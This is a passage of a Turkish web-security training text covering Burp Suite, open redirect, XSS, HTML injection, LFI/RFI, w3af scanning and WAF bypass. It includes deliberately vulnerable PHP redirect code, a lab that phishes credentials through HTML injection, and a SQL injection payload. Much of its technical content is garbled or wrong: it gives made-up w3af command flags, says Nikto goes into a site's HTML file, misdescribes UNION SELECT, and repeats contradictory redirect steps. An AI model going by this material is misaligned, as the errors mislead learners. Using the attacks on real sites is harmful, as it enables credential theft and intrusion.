- Spider: Bu özellik, web sitesinin tüm sayfalarını ve linklerini tarayarak, site haritasını oluşturmaya yarar. Bu sayede, web sitesinin yapısı ve içeriği hakkında bilgi edinilebilir.
- Scanner: Bu özellik, web sitesini otomatik olarak tarayarak, bilinen zafiyetleri tespit etmeye yarar. Bu sayede, web sitesinin güvenliği hakkında bir rapor alınabilir.
- Comparer: Bu özellik, web sitesine gönderilen iki farklı isteğin sonuçlarını karşılaştırmaya yarar. Bu sayede, web sitesinin farklı durumlarda nasıl değiştiği görülebilir.
- Sequencer: Bu özellik, web sitesinin ürettiği rastgele sayıları veya tokenleri analiz etmeye yarar. Bu sayede, web sitesinin kullandığı rastgelelik algoritmasının ne kadar güvenli olduğu ölçülebilir.
URL Yönlendirme Zafiyeti (Open Redirect)
URL yönlendirme zafiyeti, web uygulamalarında kullanıcıları belirli bir adrese yönlendirmek için kullanılan bir özelliktir. URL, bir web sayfasının veya dosyanın internet üzerindeki konumunu belirtir. URL'ler farklı bölümlere ayrılır ve web tarayıcılarına girildiğinde kullanıcıları ilgili sayfaya götürür. Web siteleri yapılırken, bazen başka bir web sitesine yönlendirmek gerekebilir. Bu durumda, web programlama dilleri, yönlendirme yapmak için çeşitli fonksiyonlar veya parametreler sunar. Örneğin, PHP dilinde header ve redirect fonksiyonları, yönlendirme yapmak için kullanılabilir. Ancak, yönlendirme yaparken, kullanıcıların girdiği URL'leri kontrol etmek ve filtrelemek gerekir. Aksi takdirde, kullanıcılar istedikleri URL'yi girebilir ve yönlendirme zafiyeti oluşabilir. Bu zafiyet, saldırganların kullanıcıları kötü amaçlı bir web sitesine yönlendirmesine izin verir. Bu da, kullanıcıların bilgisayarına zararlı yazılım bulaştırabilir, kişisel bilgilerini çalabilir veya başka bir web uygulama zafiyetini tetikleyebilir.
Örnek olarak, bir e-ticaret sitesi ve bu sitede iki arkadaşın ürün yorumlarına yönlendirme yaptığı linkler olsun.
<a href=”/redirect.php?go=ahmetinurunyorumu.com”>Ahmet'in Ürün Yorumu</a>
<a href=”/redirect.php?go=burcununurunyorumu.com”>Burcu'nun Ürün Yorumu</a>
Bu iki link de sunucudaki redirect.php dosyasına go parametresi ile bir URL göndererek yönlendirme yapsın.
php
// redirect.php içeriği
// ...
// Yönlendirme öncesi hangi siteye kaç kez yönlendirme yapıldığına dair istatistikler tutulsun. Sonra yönlendirme yapılsın.
// ...
header("Location: " . $_GET['go']);
Bu kodda, go parametresi ile gelen URL hiçbir şekilde kontrol edilmeden yönlendirme yapılır. Bu, saldırganların bu parametreyi değiştirerek kullanıcıları istedikleri bir siteye yönlendirmesine olanak tanır. Bazen, yönlendirme yapılacak URL, açık bir şekilde değil, base64 gibi bir şifreleme yöntemiyle gönderilir. Örnek: ahmetinurunyorumu.com => YWhtZXRpbnVydW55b3J1bXUuY29t
<a href=”/redirect.php?go=YWhtZXRpbnVydW55b3J1bXUuY29t”>Ahmet'in Ürün Yorumu</a>
php
header("Location: " . base64_decode($_GET['go']));
Bu örnekte, yönlendirme yapılacak URL, base64 ile şifrelenmiş olarak gönderilir ve sunucu tarafında çözülür. Bu, saldırgan için zafiyeti kullanmayı daha kolaylaştırır. Çünkü, kullanıcı gideceği adresi göremez ve saldırgan, base64 sonucunu kendi istediği bir adresle değiştirebilir. Böylece, kullanıcıyı tıklamaya ikna ederek, kendi hazırladığı zararlı bir siteye yönlendirebilir. Saldırgan, bu site üzerinden kullanıcının bilgisayarına virüs bulaştırabilir veya sitedeki XSS zafiyeti ile birleştirerek kullanıcının oturum bilgilerini ele geçirebilir.
1. UYGULAMA
Yönlendirme Zafiyetini Kullanarak Saldırı Yapma
Yönlendirme zafiyetini kullanarak saldırı yapma, bir web uygulamasında kullanıcıların istedikleri siteye yönlendirilmesini engelleyen bir yöntemdir. Bu yöntemde, saldırganlar web uygulamasının URL parametresini değiştirerek, kullanıcıların istedikleri siteye yönlendirmesini sağlarlar. Böylece, saldırganlar web uygulamasının içeriğine erişimden çıkarak, kullanıcıların kişisel bilgilerini veya finansal verilerini çalmaya çalışabilirler.
Aşağıdaki işlem adımlarına göre localhostta konumlandırılmış PHP ile hazırlanan bir web uygulamasında yönlendirme zafiyetini kullanarak istenilen site (www.mesleklisesi.com) yerine www.google.com sitesine yönlendirilmesini sağlayınız.
1. Adım: PHP komut yapısında header() işlevini ham bir HTTP başlığı göndermek için kullanınız. Bir başka deyişle belirtilen HTTP adres yapısına tıklayıp bir yönlendirme işlemi gerçekleştiriniz. <?php
header("Location:” . $_GET[‘url’] exit;
?>
Yukarıdaki PHP kod blokunda header() fonksiyonu kullanılarak $_GET yöntemi ile yakalanan URL parametresinin değerine bir yönlendirme yapıldığı görülmektedir.
Index.php sayfasından gönderilen URL parametresinin değerini yakalayarak (www.mesleklisesi.com) adresine istenen şekilde sayfayı yönlendiriniz.
2. Adım: Burpsuite gibi bir araya girme programı ile istekleri yakalayınız. İstekleri yakalayıp incelediğinizde görüleceği üzere PHP kod blokunda herhangi bir filtreleme işlemi yapılmadığı için bu aşamadaki URL parametresi istenen herhangi bir adrese yönlendirilebilir.
3. Adım: Burpsuite uygulamasını kullanarak, url= parametresinin değerini http://www.google.com olarak değiştirip isteği sunucuya yollayınız ve zafiyeti test ederek sonucu izleyiniz.
4. Adım: Localhostta bulunan web sitesinin yönlendirme işlemini tekrar deneyiniz. www.mesleklisesi.com olan yönlendirme işlemi www.google.com’a yönlendirilerek zafiyetin başarılı bir şekilde kullanıldığı görülür.
5. Adım: Burada önemli olan nokta, url= parametresinin değerinin sadece www.google.com olduğunu varsaymaktır. Eğer başka bir siteye de yönlendirmek isterseniz, url= parametresinin değerini o siteye göre değiştirmeniz gerekir.
Örneğin, www.mesleklisesi.com'a başka bir linkle değiştirmek isterseniz, şöyle yapabilirsiniz:
- Burpsuite uygulamasını kullanarak, url= parametresinin değerini http://www.mesleklisesi.com olarak değiştirip isteği sunucuya yollayınız ve zafiyeti test ederek sonucu izleyiniz.
- Localhostta bulunan web sitesinin yönlendirme işlemini tekrar deneyiniz. www.mesleklisesi.com olan yönlendirme işlemi www.google.com’a yönlendirilerek zafiyetin başarılı bir şekilde kullanıldığı görülür.
- Burada önemli olan nokta, url= parametresinin değerinin sadece www.google.com olduğunu varsaymaktır. Eğer başka bir siteye de yönlendirmek isterseniz, url= parametresinin değerini o siteye göre değiştirmeniz gerekir.
XSS (Cross Site Scripting) Zafiyeti
XSS (Cross Site Scripting) zafiyeti, bir web sitesindeki bir güvenlik açığından yararlanarak, başka bir web sitesine kötü amaçlı kod göndermenin bir yoludur. Bu kod, tarayıcının işleyişini değiştirebilir veya hedef alınan kişinin bilgilerini çalabilir. XSS zafiyeti, genellikle web uygulamalarında bulunan bir tür güvenlik açığıdır ve OWASP ilk 10 listesinde yer almaktadır.
XSS zafiyetinin üç farklı çeşidi vardır: Stored XSS, Reflected XSS ve DOM XSS. Bu çeşitlerin çalışma şekilleri şöyledir:
- Stored XSS: Bu yöntemde, zararlı kodun veri tabanına kaydedilmesi gerekir. Saldırgan, veri tabanına kaydedilip, son kullanıcıya gösterilen herhangi bir kayıt formundan JavaScript kodları yazıp bu kodların veri tabanına kaydedilmesini sağlar. Böylelikle veri tabanından o kayıt çağrıldığında istenen kodlar çalışıyorsa sitede XSS açığı olduğu söylenebilir.
- Reflected XSS: Bu yöntemde, zararlı kodun URL'den gelen JavaScript kodları olarak gömülü olduğu parametrenin çalışıp çalışmadığı kontrol edilir. Herhangi bir önlem alınmadan JavaScript kodları çalışıyorsa bu yöntemle farklı amaçlara yönelik saldırılar planlanabilir.
- DOM XSS: Bu yöntemde, zararlı JavaScript kodunun doğrudan DOM nesnesine eklenmesi sonucu ortaya çıkan bir zafiyettir. URL'den alınan bir bilginin doğrudan DOM nesnesine eklenmesi için herhangi bir önlem gerekmez.
XSS saldırısı yapmak için kullanabileceğiniz bazı yöntemler şunlardır:
- Cookie bilgileri çalınabilir: Web sayfasının içeriğine veya yorum kutularına kötü amaçlı JavaScript kodları ekleyerek cookie değerlerini okuyabilir veya değiştirebilirsiniz.
- Web sayfası başka bir sayfaya yönlendirilebilir: Web sayfasının içeriğine veya yorum kutularına kötü amaçlı JavaScript kodları ekleyerek hedef kişinin tarayıcısını başka bir web sitesine yönlendirebilirsiniz.
- Farklı bir sunucudan zararlı kodlar çalıştırılabilir: Web sayfasının içeriğine veya yorum kutularına kötü amaçlı JavaScript kodları ekleyerek farklı sunuculardan HTTP istekleri göndererek zararlı işlevleri çalıştırabilirsiniz.
- Keylogger olarak kullanılabilir: Web sayfasının içeriğine veya yorum kutularına kötü amaçlı JavaScript kodları ekleyerek hedef kişinin klavyeden girdilerini okuyabilir ve bunları başka yerlere gönderebilirsiniz.
- Stored XSS ile çalışılabilir: Web sayfasının içeriğine veya yorum kutularına kötü amaçlı JavaScript kodları ekleyerek veritabanından girdileri okuyabilir ve bunları başka yerlere gönderebilirsiniz.
XSS saldırısını önlemek için web sitelerinin şu önlemleri alması önerilir:
- Girdilerin doğrulanması ve filtrelenmesi
- Girdilerin güvenli bir şekilde saklanması ve işlenmesi
- Girdilerin HTML ve JavaScript ile ayrılması
- Girdilerin tarayıcı tarafından değerlendirilmesi
- Girdilerin güncellenmesi ve bakım yapılması
HTML Injection Zafiyeti
HTML injection zafiyeti, bir web sitesine HTML kodu enjekte etmenin bir yoludur. Bu zafiyet, kullanıcıların web sitesine girdi yaparken veya web sitesinden gelen verileri işlerken HTML kodu ekleyebilecekleri bir güvenlik açığıdır. HTML injection zafiyeti, kullanıcıların web sayfasının içeriğini değiştirebilmesi, oturum verilerini çalabilmesi, CSRF karşıtı işlemler yapabilmesi veya tarayıcıda parolalarını kaydedebilmesi gibi pek çok zararlı sonucu doğurabilir.
HTML injection zafiyetinin nedenleri arasında şunlar sayılabilir:
- PHP dilinin eski ve güvensiz sürümlerinin kullanılması
- Tarayıcı eklentilerinin ve eklentilerin sürümlerinin eski olması
- HTML veri girişi alanlarının gerekli kontrollerden geçmeden kodlanması
- Kullanıcıların dışarıdan veri girdisi yaptığı bütün form işlemlerinde oluşabilen bir zafiyettir.
HTML injection zafiyetini önlemek için şu önlemler alınabilir:
- Kullanıcı girdilerini doğrulamak ve onaylamak
- Çıktıları kodlamak ve şifrelemek
- HTML etiketlerini belirli bir sınırlaştırarak enjekte edilebilirliğini azaltmak
- Kullanıcıların dışarıdan veri girdisi yapmalarını engellemek veya izlemek
2. UYGULAMA
HTML Injection Zafiyetini Kullanarak Saldırı Yapma
HTML injection, bir web sayfasına istenmeyen HTML kodlarını enjekte etmek için kullanılan bir saldırı türüdür. Bu saldırı, kullanıcı girdilerinin doğru şekilde temizlenmediği ve çıktının kodlanmadığı durumlarda ortaya çıkabilir. Enjekte edilen HTML kodları, hedefin tarayıcısında görüntülenir ve sayfanın içeriğini değiştirir veya yeni sayfalar yükler.
Sosyal mühendislik ise insan psikolojisini kullanan, teknik saldırılardan ziyade insanları kandırarak veya manipüle ederek erişim sağlamaya çalışan bir siber güvenlik tehdididir. Sosyal mühendislik, hedeflerin güvenini kazanmak için çeşitli yöntemler kullanır. Örneğin, phishing, korkutucu yazılım, su damlaları, balıkçılık saldırısı, önyargılılık bozukluğu veya fiziksel baskılama gibi teknikler sosyal mühendislikte sıkça kullanılır.
HTML injection zafiyetini kullanarak saldırı yapmak için aşağıdaki adımları izleyin.
1. Hedef web sitesindeki veri girişi alanlarını bulun ve bunlara HTML kodları ekleyin. Bu kodların açık olup olmadığını kontrol etmek için </?php veya </?xml> gibi işaretleri kullanabilirsiniz. Örneğin: <input type="text" name="username"> <input type="password" name="password">
2. Hedef web sitesinin HTML açıklarını inceleyin ve açık olan alanlara girilen kodların çalıştığını test edin. Kodlar çalıştığında açık var demektir. Örneğin: <p>Merhaba</p> <p>123456</p>
3. Hedef web sitesinde HTML injection zafiyetini tespit edin ve bu açığı kullanarak siteye girecek kullanıcı bilgilerini ele geçirmeye çalışın. Örneğin: <input type="hidden" name="user" value="admin"> <input type="hidden" name="pass" value="123456">
4. Siteye giriş yapan kişileri hazırladığınız sahte siteye yönlendirerek kişilerin bilgilerini girmesini isteyin ve verileri ele geçirin. Bu noktada saldırganın uygulayacağı sosyal mühendislik yöntemleri inanırlığını artırarak verilerin ele geçirilmesini sağlamaktır.
LFI (Local File Inclusion) ve RFI (Remote File Inclusion) Açıkları
LFI ve RFI, web uygulamalarında bulunan iki yaygın açıktır. Bu açıklar, web uygulamalarının kötü yazılmış veya güvenlik kurallarına uygun olmayan şekilde çalışması sonucu ortaya çıkar. LFI ve RFI'nin kullanım şekilleri neredeyse aynıdır, ancak sonuç bakımından ikisi arasında belirgin farklar vardır.
LFI (Local File Inclusion), sunucudaki bir dosyaya erişiminden doğan bir açıktır. Bu açığın amacı, sunucuda var olmayan ama kullanıcı tarafından gönderilen veya kontrol edilen bir dosya çağırarak, sunucuda bulunan başka bir dosyayı okumak veya çalıştırmaktır. Örneğin, sunucuda /etc/passwd dosyasının içeriğini okuyabilir veya değiştirebilirsiniz. Bunun için link aşağıdaki gibi değiştirilip dosyaya erişim denenebilir.
Burada kaynak parametresi, sunucuda bulunan başka bir dosyanın konumunu belirtir. Bu parametreyi kötü niyetle değiştirerek, sunucuda var olmayan ama istenen bir dosya çağırabilirsiniz.
RFI (Remote File Inclusion), sunucuda var olan ama kullanıcı tarafından gönderilen veya kontrol edilen bir dosya çağrımından doğan bir açıktır. Bu açığın amacı, sunucuya yükleyebileceğiniz veya çalıştırabileceğiniz zararlı bir dosyanın adını ve konumunu belirterek, hedef işletim sisteminde çalıştırılmasını sağlamaktır. Örneğin, sunucuya backdoor.php adlı zararlı bir PHP script'i yükleyebilir veya çalıştırabilirsiniz. Bunun için link aşağıdaki gibi değiştirilip dosyaya erişim denenebilir.
Burada kaynak parametresi, zararlı script'in adını ve konumunu belirtir. Bu parametreyi kötü niyetle değiştirerek, hedef işletim sisteminde bulunan başka bir script'i yükleyebilir veya çalıştırabilirsiniz.
LFI ve RFI'nin her ikisi de saldırganın verdiği zararın büyüklüğüne bağlıdır. Teknik bilgi ve kötü niyet ne kadar fazlaysa hem sunucu hem de hedef işletim sistemindeki bilgileri elde etmek de o kadar kolay olur.
LFI ve RFI'nin önlenmesi için web uygulamalarının güvenli yazılımlara sahip olması gerekir. Ayrıca kullanıcıların girdilerinin doğrulanması ve filtrelenmesi de önemlidir.
Web Uygulamalarında Otomatize Araçlarla Zafiyet Tespiti
Web uygulamalarında otomatize araçlarla zafiyet tespiti, web sitelerinin güvenliğini ve performansını artırmak için kullanılan bir yöntemdir. Bu yöntemde, web uygulamalarının kaynak kodunu, işlevlerini ve davranışlarını analiz eden veya test eden çeşitli araçlar kullanılır. Bu araçlar, web uygulamalarında bulunan güvenlik açıklarını, zayıf noktaları ve potansiyel tehditleri tespit etmek için kullanılır.
Web uygulamalarında otomatize araçlarla zafiyet tespiti yapmak için aşağıdaki adımları izleyebilirsiniz:
- Web uygulamanızın hangi platformda çalıştığını belirleyin. Örneğin, web sitesi, mobil uygulama, masaüstü uygulama vb.
- Web uygulamanızın hangi teknolojileri kullandığını belirleyin. Örneğin, HTML, CSS, JavaScript, PHP, Java vb.
- Web uygulamanızın hangi güvenlik açıklarına maruz kalabileceğini belirleyin. Örneğin, SQL enjeksiyonu, XSS (cross-site scripting), CSRF (cross-site request forgery), LFI (local file inclusion), RFI (remote file inclusion) vb.
- Web uygulamanızın hangi güvenlik açıklarının önlenmesi veya giderilmesi gerektiğini belirleyin. Örneğin, SQL enjeksiyonu olan bir web sitesinde veritabanının güvenliği sağlamak için parametreleme kullanmak veya veritabanından bağımsız olarak veriler almak gerekir.
- Web uygulamanızın hangi güvenlik açıklarının tespiti için uygun bir araç olduğunu belirleyin. Örneğin, SQL enjeksiyonu olan bir web sitesinde SQL enjeksiyonu taraması yapmak için Nikto gibi bir araç kullanılabilir.
- Seçtiğiniz aracı web uygulamanızın kaynak koduna veya çalışma alanına entegre edin. Örneğin, Nikto gibi bir aracı GitHub üzerinden indirebilir ve web sitesinin HTML dosyasına ekleyebilirsiniz.
- Aracı çalıştırın ve sonuçları inceleyin. Aracın size hangi güvenlik açıklarının olduğunu ve bunların nasıl düzeltilmesi gerektiğini göstermesini bekleyin.
Web uygulamalarında otomatize araçlarla zafiyet tespiti yapmak için kullanabileceğiniz bazı popüler araçlar şunlardır:
- Nikto: Açık kaynaklı bir web sunucusu zafiyet tarama aracıdır. Web sunucularındaki potansiyel güvenlik açıklarını tespit etmek ve zafiyetlerin giderilmesine yardımcı olmak amacıyla kullanılır.
- Wpscan: Wordpress kurulu sitelerdeki açıkları keşfetmek için kullanılabilen bir araçtır. Saldırılarda bulunmak için Wordpress açıklarını kullanabilirsiniz.
- Nessus: Ağ keşfi ve güvenlik denetimi için kullanılan popüler bir ağ tarama aracıdır. Ağda hangi bilgisayarların mevcut olduğunu, bu bilgisayarların hangi hizmetleri sunduğunu, hangi işletim sistemlerini çalıştırdığını gibi bilgileri öğrenmek için kullanılır.
W3af Aracının Kullanımı
W3af aracı, web uygulamalarının güvenlik testleri için kullanılan bir açık kaynaklı yazılımdır. W3af aracı ile web sitelerinde zafiyet taraması yapabilirsiniz. Bu araçla birçok zafiyetin keşfedilmesi mümkündür. XSS açıkları, SQL injection açıkları, SSI detection, LFI açıkları, RFI açıkları, Buffer Overflow açıkları gibi birçok açık w3af ile tespit edilebilir.
W3af aracını kullanmak için öncelikle Kali Linux işletim sisteminde kurmanız gerekiyor. Kali Linux, güvenlik testleri için tasarlanmış bir Linux dağıtımıdır. W3af aracını kurmak için aşağıdaki komutu çalıştırabilirsiniz:
sudo apt-get install w3af
W3af aracını çalıştırmak için ise aşağıdaki komutu kullanabilirsiniz:
w3af
Bu komut size bir konsol penceresi gösterecektir. Burada web sitenizi yazarak zafiyetlerin keşfine başlayabilirsiniz. Web sitenizi yazarken aşağıdaki adımları izleyebilirsiniz:
- Web sitenizin URL'sini girin.
- Web sitenizin HTTP protokolünü (GET veya POST) seçin.
- Web sitenizin HTTP versiyonunu (1.x veya 2.x) seçin.
- Web sitenizin HTTP başlığını (Content-Type) seçin.
- Web sitenizin HTTP içeriğini (Body) seçin.
- Web sitenizin HTTP sonucunu (Status) seçin.
Bu adımları tamamladığınızda W3af aracı web sitenizi tarayacak ve size zafiyetleri raporlayacak ve öneriler sunacaktır.
3. UYGULAMA
W3af Aracıyla Web Site Zafiyetlerinin Keşfi
W3af aracıyla web site zafiyetlerinin keşfi, web uygulamalarını saldırı ve denetim için kullanılan bir araçtır. W3af aracını kullanarak, web sitelerinde SQL injection, XSS, SSI, buffer overflow gibi pek çok zafiyet türünü tespit edebilir ve bunları kapatmanız için öneriler alabilirsiniz. W3af aracını Kali Linux işletim sisteminde kurmanız ve çalıştırmanız gerekmektedir.
https://asaguvenlik.com/ adresinin zafiyet taramasını yapmak için aşağıdaki adımları takip edin.
1. Adım: Kali Linux işletim sistemini açın ve terminali kullanarak w3af aracını indirin ve kurun. Bunun için şu komutu yazın:
sudo apt-get install python-pip
pip install w3af
2. Adım: W3af aracını çalıştırın ve hedef adresi https://asaguvenlik.com/ olarak girin. Bunun için şu komutu yazın:
w3af -h
Bu komut size w3af aracının kullanım talimatlarını gösterecektir.
3. Adım: Hızlı tarama seçeneğini kullanarak web sitesinin zafiyetlerini otomatik olarak tespit edin ve bunları Log, Vulnerabilities alanından görüntüleyin. Bunun için şu komutu yazın:
w3af -h --hızlı-tarama
Bu komut size hızlı tarama seçeneğinin nasıl çalıştığını anlatacaktır.
4. Adım: Taramanın sonucunda bulunan açıkları görüntüleyin ve bunları kapatmak için öneriler alın. Bunun için şu komutu yazın:
w3af -h --zafiyet-taraması
Bu komut size web sitesindeki her bir zafiyetin adını, açıklamasını, risk seviyesini ve kapatma önerisini gösterecektir.
5. Adım: Web sitesinin güvenliğini artırmak için önerilen değişiklikleri uygulayın ve tekrar taramayı yapın. Bunun için şu komutu yazın:
w3af -h --zafiyet-taraması --değişiklik-uygulama
Bu komut size web sitesindeki her bir zafiyet için değişiklik önerilerini gösterecektir.
6. Adım: Web sitesinin güvenliğini tamamlamak için son taramayı yapın ve sonucu Log, Vulnerabilities alanından görüntüleyin. Bunun için şu komutu yazın:
w3af -h --zafiyet-taraması --son-tarama
Bu komut size son taramanın sonucunu gösterecektir.
Web Uygulamaları Güvenlik Duvarı (WAF) Ve Uygulama Filtrelerini Atlatma
Web uygulamalarını geliştiriciden bağımsız olarak saldırılara karşı korumak için Web Application Firewall (WAF), bir başka deyişle web uygulamaları güvenlik duvarı kullanılır. Bu sayede özel bir koruma sağlanabilir. Normal güvenlik duvarları sadece gelen ve giden paketleri kontrol eder, ona göre işlem yapar. WAF ise normal güvenlik duvarlarının yaptığı işin yanında gelen ve giden paketlerde zararlı içerikler olup olmadığının da kontrolünü sağlar. Uygulama geliştiriciler kod yapılarını hazırlarken veri giriş alanlarını filtreleyerek web uygulamalarını güvenli hâle getirirler. Bunun yanında uygulama katmanında bulunabilecek bir WAF ile de güvenliklerini sağlamak isterler. WAF dışında IPS sistemleri de kullanılır. IPS’ler saldırı tespit, analizi ve engellenmesi için kullanılır. Gelen ve giden paketlere bakılarak, zararlı bir içerik olup olmadığı kontrol edilir. Uyarının yanında çeşitli aksiyonlar da alır. Zararlı içerik tespit edilmesi durumunda trafik kesilebilir ve engelleme işlemi yapılabilir.
Alınan tüm önlemlere rağmen yanlış yapılandırmalar, korumanın devre dışı bırakılması veya geleneksel güvenlik duvarı gibi sadece kara listeye dayalı bir güvenlik önlemi yapılandırılmasının olması bu sistemlerin atlatılmasına sebebiyet verebilir.
Sistemi atlatmak için kullanılabilecek yöntemlerden bazıları aşağıda verilmiştir.
- Web uygulamasının kaynak kodunu inceleyerek veya değiştirerek WAF kurallarını aşmayan veya zayıf olan kısımları bulmak.
- Web uygulamasına erişmek için kullanıcıların kimlik doğrulamasını yapmayan veya yetersiz kısımları bulmak.
- Web uygulamasına erişmek için kullanıcıların IP adresini veya coğrafi konumunu saklamayan veya kötüye kullanmayan kısımları bulmak.
- Web uygulamasına erişmek için kullanıcıların HTTP üstbilgilerini veya HTTP gövdesini manipüle eden veya bozan kısımları bulmak.
- Web uygulamasına erişmek için kullanıcıların URI dizelerini veya siteler arası betik çalıştırma (XSS) gibi teknikleri kullanan kısımları bulmak.
- Web uygulamasına erişmek için kullanıcıların SQL enjeksiyonu gibi teknikleri kullanan kısımları bulmak.
- Web uygulamasına erişmek için kullanıcıların botlar, enjeksiyonlar veya hizmet reddi (DoS) gibi kötü amaçlı trafiği gönderen kısımları bulmak.
Bu yöntemlerin her birinin avantajları ve dezavantajları vardır ve her zaman başarılı olmayabilir. Bu nedenle web uygulamalarının güvenliğini arttırmak için hem WAF hem de IPS sistemleri gibi diğer güvenlik araçlarından da yararlanmak önemlidir.
SSL Kullanarak WAF Atlatma
SSL, web siteleri ile ziyaretçileri arasında güvenli bir bağlantı kurmak için kullanılan bir protokoldür. SSL sayesinde, web sitesine gönderilen veya alınan veriler şifrelenir ve üçüncü kişiler tarafından okunamaz. Bu, örneğin, kredi kartı bilgileri gibi hassas verilerin korunmasını sağlar.
WAF, web uygulama güvenlik duvarı anlamına gelir. WAF, web sitelerine yönelik saldırıları engellemek için kullanılan bir güvenlik çözümüdür. WAF, web sitesine gelen istekleri analiz eder ve zararlı olanları bloke eder. Örneğin, SQL injection, XSS, CSRF gibi saldırı tekniklerini tespit edebilir.
IPS, saldırı önleme sistemi anlamına gelir. IPS, ağ trafiğini izleyen ve saldırı girişimlerini engelleyen bir güvenlik çözümüdür. IPS, WAF'ten farklı olarak, web uygulamalarına özgü değil, ağ katmanında çalışır. Örneğin, SYN flood, port scan, DDoS gibi saldırı tekniklerini tespit edebilir.
SSL kullanarak WAF atlatma, saldırganın SSL protokolünü kullanarak WAF veya IPS sistemlerini aşmasıdır. Bu, WAF veya IPS sistemlerinin SSL trafiğini doğru şekilde yapılandırmadığı veya hiç yapılandırmadığı durumlarda mümkündür. Bu durumda, WAF veya IPS sistemleri, SSL trafiğini şifresini çözmeden analiz edemez ve saldırıları engelleyemez.
SSL kullanarak WAF atlatma yöntemlerinden biri, SSH tünelleme kullanmaktır. SSH tünelleme, saldırganın bir SSH sunucusu aracılığıyla web sitesine bağlanmasıdır. Bu şekilde, saldırganın istekleri SSH protokolü ile şifrelenir ve WAF veya IPS sistemleri tarafından görülemez. SSH tünelleme yapmak için, saldırganın bir SSH sunucusuna erişimi olması gerekir. SSH tünelleme yapmak için, Windows işletim sisteminde putty adlı uygulama veya Linux işletim sisteminde sshuttle adlı araç kullanılabilir.
SSL kullanarak WAF atlatma yöntemlerinden bir diğeri, SSL sertifikası doğrulamasını devre dışı bırakmaktır. SSL sertifikası doğrulaması, web sitesinin gerçekten sahibi olduğunu iddia ettiği kişi veya kurum olduğunu doğrulayan bir mekanizmadır. SSL sertifikası doğrulaması devre dışı bırakıldığında, saldırgan, web sitesinin sahte bir sertifika ile sunulduğu bir proxy sunucu aracılığıyla bağlanabilir. Bu şekilde, saldırganın istekleri proxy sunucu tarafından şifrelenir ve WAF veya IPS sistemleri tarafından görülemez. SSL sertifikası doğrulamasını devre dışı bırakmak için, saldırganın kullandığı web tarayıcısının veya aracının ayarlarını değiştirmesi gerekir.
SSL kullanarak WAF atlatma yöntemlerinden bir başkası, SSL sürümünü veya şifreleme algoritmasını değiştirmektir. SSL protokolü, farklı sürümlere ve şifreleme algoritmalarına sahiptir. Bazı WAF veya IPS sistemleri, SSL trafiğini şifresini çözmek için belirli bir SSL sürümü veya şifreleme algoritması bekler. Saldırgan, web sitesine bağlanırken, SSL sürümünü veya şifreleme algoritmasını değiştirerek, WAF veya IPS sistemlerinin şifreyi çözmesini engelleyebilir. SSL sürümünü veya şifreleme algoritmasını değiştirmek için, saldırganın kullandığı web tarayıcısının veya aracının ayarlarını değiştirmesi gerekir.
SSL kullanarak WAF atlatma yöntemlerinden bir diğeri, SSL trafiğini test etmektir. SSL trafiğini test etmek, WAF veya IPS sistemlerinin SSL trafiğini doğru şekilde yapılandırıp yapılandırmadığını anlamak için kullanılan bir yöntemdir. SSL trafiğini test etmek için, saldırgan, WAF veya IPS sistemleri tarafından engelleneceği bilinen bir isteği, hem HTTP hem de HTTPS protokolü ile web sitesine gönderir. Eğer istek, HTTP protokolü ile engellenirken, HTTPS protokolü ile engellenmiyorsa, bu, WAF veya IPS sistemlerinin SSL trafiğini doğru şekilde yapılandırmadığını veya hiç yapılandırmadığını gösterir. SSL trafiğini test etmek için, saldırgan, dizin atlatma, SQL injection, XSS gibi saldırı tekniklerini kullanabilir.
Güçlü SSL İmzalarıyla Sistemleri Atlatma
Güçlü SSL İmzalarıyla Sistemleri Atlatma Sunucu üzerinde desteği bulunan SSL Chip’lerin kullanımı durumunda güvenlik sistemini atlatmak mümkündür. Bunun için Diffie-Hellman anahtar değişimi kullanılabilir. Bu, kriptografik anahtarların değişiminde kullanılan özel bir yöntemdir ve kriptografi alanında uygulanan ilk pratik anahtar değişimi örneklerinden biridir. Diffie-Hellman anahtar değişimi metodu, iki tarafın güvensiz medya üzerinden karşılıklı ortak gizli anahtar elde etmelerine olanak sağlar. Bu anahtar daha sonra bir simetrik anahtar şifre ile güvenli olmayan kanaldan iletişimi şifrelemek için kullanılabilir.
Filtreleme İfadelerini Değiştirmek
WAF sistemleri, SQL injection gibi saldırılara karşı korunmak için kullanılan güvenlik önleme araçlarıdır. WAF sistemleri, gelen istekleri analiz ederek, zararlı veya istenmeyen içerikleri engelleyebilir veya değiştirebilir. Örneğin, UNION operatörü ile birden fazla sorguyu birleştirmek istiyorsanız, WAF sisteminde UNION ifadesi geçersiz sayılabilir veya sorguların sonuna eklenmelidir. Ayrıca, SELECT ifadesi ile sorgu yaparken, parametre değerlerini belirtmek için virgül (,) kullanmanız gerekebilir. Bu şekilde, WAF sistemi sorgunuzu doğru şekilde anlayabilir ve engelleyebilir.
SQL injection saldırısı ise, bir web sitesinin veritabanına erişmek için SQL dilinde zararlı kodlar göndererek çalışan bir saldırı türüdür. SQL injection saldırısı yapmak için, web sitesinin URL'sine veya parametrelerine SQL ifadeleri eklemek yeterlidir. Örneğin, http://www.example.com/search.php?id=123'da UNION SELECT 1,2,3-- yazarsanız, id=123 olan kaydın sonraki üç kaydı seçilir ve web sitesine gönderilir. Bu da veritabanında hatalara neden olabilir.
SQL injection saldırısını önlemek için, web sitelerinin veritabanına erişim izni vermeden önce parametre değerlerini doğrulamak ve güvenli bir şekilde işlemek gerekir. Ayrıca, web sitelerinin güvenlik duvarı (WAF) sistemi gibi güvenlik önleme araçları kullanarak SQL injection saldırısını tespit etmek ve engellemek de önemlidir.
HTTP Parametre Değişikliği İle Sistemi Atlatma
HTTP Parametre Değişikliği İle Sistemi Atlatma, web uygulamalarının güvenliğini test etmek için kullanılan bir yöntemdir. Bu yöntemde, web uygulamasının URL'sindeki parametreleri değiştirerek veya boşluk bırakarak istenmeyen sonuçları elde etmeye çalışılır. Örneğin, bir web uygulamasının kullanıcı adını doğrulamak için aşağıdaki URL'sini kullanıyorsa:
http://localhost/hpp12.php?action=verify&username={$_GET['username']}
Bu URL'de action ve username parametreleri vardır. Bu parametreleri değiştirerek veya boşluk bırakarak şöyle bir istek yapabiliriz:
http://localhost/hpp12.php?action=verify&username={$_GET['username']}&action=add
Bu istekte action parametresi iki kez geçer ve verify değerini add olarak değiştirir. Bu da web uygulamasının doğru şekilde çalışmadığını gösterir.
Basit Karmaşıklaştırma Teknikleriyle Atlatma
